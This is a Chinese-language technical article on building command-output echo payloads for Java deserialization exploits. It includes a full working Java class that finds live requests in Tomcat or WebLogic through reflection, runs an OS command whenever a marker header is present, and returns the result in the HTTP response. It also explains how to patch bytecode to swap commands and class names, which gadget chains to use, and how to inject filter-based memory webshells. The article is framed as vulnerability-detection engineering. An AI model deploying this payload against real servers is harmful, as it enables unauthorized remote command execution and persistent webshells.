Java 反序列化回显链研究:漏洞检测工程化
字数 1514 2025-08-10 08:28:04
Java反序列化回显链研究与漏洞检测工程化
1. 回显方案选择
在反序列化漏洞利用实战中,经常会遇到目标不出网的情况,此时需要选择合适的回显方案:
常见回显方案对比
- 反弹shell:需要出网,依赖TCP/DNS/ICMP等协议
- DNSlog回显:需要出网,依赖DNS协议
- 延时盲注:效率太低,不切实际
- 写入web目录:需要先获取web路径
- 直接写入响应包:最优方案,通过web端口通信
最优方案分析
由于web端口可以与外界通信(接收请求包,返回响应包),最佳方案是通过:
- 请求包发送命令
- 响应包回传执行结果
2. 通过Java代码执行回显
多框架回显模板
针对不同web框架需要制作不同模板,以下是合并了Tomcat和WebLogic框架的payload:
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class MultiEchoTempl {
static String cmd ="whoami";
public MultiEchoTempl(){
start();
}
static {
start();
}
private static void start(){
try{
Class.forName("org.apache.tomcat.util.buf.ByteChunk");
tomcat();
return;
} catch (Exception ignored){ }
try {
Class.forName("weblogic.work.ExecuteThread");
WeblogicEchoTemplate();
return;
} catch (Exception ignored){ }
}
// Tomcat框架回显实现
private static void tomcat() {
try{
Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");
for (Thread var7 : var5) {
if (var7 != null) {
String var3 = var7.getName();
if (!var3.contains("exec") && var3.contains("http")) {
Object var1 = getFV(var7, "target");
if (var1 instanceof Runnable) {
try {
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
} catch (Exception var13) { continue; }
List var9 = (List) getFV(var1, "processors");
for (Object var11 : var9) {
var1 = getFV(var11, "req");
Object var2 = var1.getClass().getMethod("getResponse").invoke(var1);
String var15 = (String) var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Accept-Language");
if (var15 != null && var15.equals("zh-CN,zh;q=1.9")) {
var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ?
new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
return;
}
}
}
}
}
}
}catch (Exception e){ e.printStackTrace(); }
}
// 写入响应体
private static void writeBody(Object var0, byte[] var1) throws Exception {
Object var2; Class var3;
try {
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
var2 = var3.newInstance();
var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE)
.invoke(var2, var1, new Integer(0), new Integer(var1.length));
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
} catch (NoSuchMethodException var5) {
var3 = Class.forName("java.nio.ByteBuffer");
var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
}
}
// 反射获取字段值
private static Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
// WebLogic框架回显实现
public static void WeblogicEchoTemplate(){
try{
Object adapter = Class.forName("weblogic.work.ExecuteThread").getDeclaredMethod("getCurrentWork").invoke(Thread.currentThread());
Object res;
if(!adapter.getClass().getName().endsWith("ServletRequestImpl")){
Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
adapter = obj.getClass().getMethod("getServletRequest").invoke(obj);
}
String var15 = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, "Accept-Language");
if (var15 != null && var15.equals("zh-CN,zh;q=1.9")) {
String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
res = adapter.getClass().getMethod("getResponse").invoke(adapter);
Object sin = Class.forName("weblogic.xml.util.StringInputStream").getConstructor(String.class).newInstance(result);
Object out = res.getClass().getDeclaredMethod("getServletOutputStream").invoke(res);
out.getClass().getDeclaredMethod("writeStream",Class.forName("java.io.InputStream")).invoke(out,sin);
out.getClass().getDeclaredMethod("flush").invoke(out);
Object w = res.getClass().getDeclaredMethod("getWriter").invoke(res);
w.getClass().getDeclaredMethod("write",String.class).invoke(w,"");
}
}catch(Exception e){ e.printStackTrace(); }
}
}
恶意请求识别
由于静态代码块无法直接获取当前Request,需要通过上下文获取所有web请求并筛选:
-
标记方式:
- 添加特定header(如
cmd: aaa) - 使用请求体作为标记(需构造payload时加入标志符)
- 添加特定header(如
-
伪代码实现:
threads = Thread.getThreads()
var thread
// 找出处理http请求的线程
foreach t : threads{
if t.getName().content("http"){
thread = t
break
}
}
reqs = t.getRequests()
// 找出header中含有标记的请求
foreach req : reqs{
if req.getHeaders().get("cmd") != null{
req.getResponse().setBody(eval("whoami"))
break
}
}
3. 动态生成字节码技术
修改命令
-
命令获取方式:
- 从header中获取
- 从cookie中获取(可加密)
- 硬编码在恶意类中
-
字节码修改:
- 对比不同命令生成的字节码
- 字符串前两个字符表示长度(最大65535)
- 使用Python脚本修改字节码中的命令
修改类名
由于静态代码块只执行一次,需要动态修改类名以实现多次执行:
-
修改点:
- 类名在class文件中出现三处
- 每处前面都有表示长度的字符
-
实现方式:
- 修改class文件中三处类名
- 同时修改类名前的长度标识
4. 利用链选择
类加载利用
适用于任意类加载漏洞,如:
- JNDI注入利用Reference对象加载远程class
反序列化利用
需要sink是TemplatesImpl,常见方式:
InvokerTransformer.transform() -> TemplatesImpl.newTransformer()InstantiateTransformer.transform() -> TrAXFilter -> TemplatesImpl.newTransformer()
所有CC链都可以通过修改途经这两条路径实现代码执行。
5. 内存马技术
内存马是另一种解决方案,以filter内存马为例:
-
实现流程:
- 从线程上下文中获取addFilterDef方法
- 自定义Filter实现Filter接口
- 将自定义Filter添加到应用中
-
特点:
- 更适合做webshell
- 避免多次类加载占用JVM永久区内存
6. 总结
技术对比
| 技术 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| 回显payload | 漏洞检测 | 无需持久化 | 多次加载占用内存 |
| 内存马 | webshell | 持久化 | 需要清理机制 |
| 动态字节码 | 工具集成 | 不依赖Java环境 | 实现复杂 |
工程化建议
-
payload形式:
- 更适合漏洞检测
- 避免多次加载导致内存问题
-
手动修改字节码:
- 可脱离JDK环境
- 适用于检测工具开发
-
Java环境限制:
- 类名按限定名只加载一次
- 动态类名实现较复杂
7. 测试环境与资源
测试环境
- Docker镜像:vulhub/tomcat, vulhub/weblogic
- 测试代码:本地创建JavaWeb项目,打包为war部署